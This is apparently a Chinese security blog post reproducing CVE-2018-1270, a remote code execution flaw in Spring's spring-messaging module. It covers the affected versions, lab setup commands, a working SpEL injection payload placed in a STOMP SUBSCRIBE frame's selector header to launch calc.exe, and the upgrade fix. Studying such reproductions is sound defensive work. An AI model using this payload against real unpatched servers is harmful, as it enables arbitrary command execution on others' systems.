首页 » NetworkSec » Penetration » 正文

spring-messaging RCE(cve-2018-1270) 重现

0x00 概述

4月5号网上爆出spring框架的一个rce漏洞,编号cve-2018-1270,著名的ssh框架就用了spring。
漏洞存在于spring-message模块,
大致流程是:
类DefaultSubscriptionRegistry.java的addSubscriptionInternal方法中,有expression = this.expressionParser.parseExpression(selector);
这个spel表达式语句,selector可控,如果要命令执行,需要expression.getValue或expression.setValue,而后面就有
if (Boolean.TRUE.equals(expression.getValue(context, Boolean.class)))
如果感兴趣还可以深入跟踪触发流程。
本文对此漏洞进行重现。
 

0x01 影响范围

Spring Framework 5.0 to 5.0.4
Spring Framework 4.3 to 4.3.14
以及更老的不支持的版本
 

0x02 漏洞重现

测试环境:
git clone https://github.com/spring-guides/gs-messaging-stomp-websocket
git checkout 6958af0b02bf05282673826b73cd7a85e84c12d3
cd complete
./mvnw spring-boot:run
http://192.168.110.10:8080

重现:
开启抓包,点击connect
得到
[“SUBSCRIBE\nid:sub-0\ndestination:/topic/greetings\n\n\u0000″]
这个包,
加入payload:
selector:new java.lang.ProcessBuilder(\”calc.exe\”).start()\n
得:
[“SUBSCRIBE\nid:sub-0\ndestination:/topic/greetings\nselector:new java.lang.ProcessBuilder(\”calc.exe\”).start()\n\n\u0000″]
放行,
再send

重现成功!
再赠送个xss

 

0x03 修复方案

升级到5.0.5或4.3.15
 

0x04 参考资料

https://pivotal.io/security/cve-2018-1270
www.polaris-lab.com/index.php/archives/501/
https://xz.aliyun.com/t/2252
https://github.com/spring-guides/gs-messaging-stomp-websocket
 

Comment

please input captcha *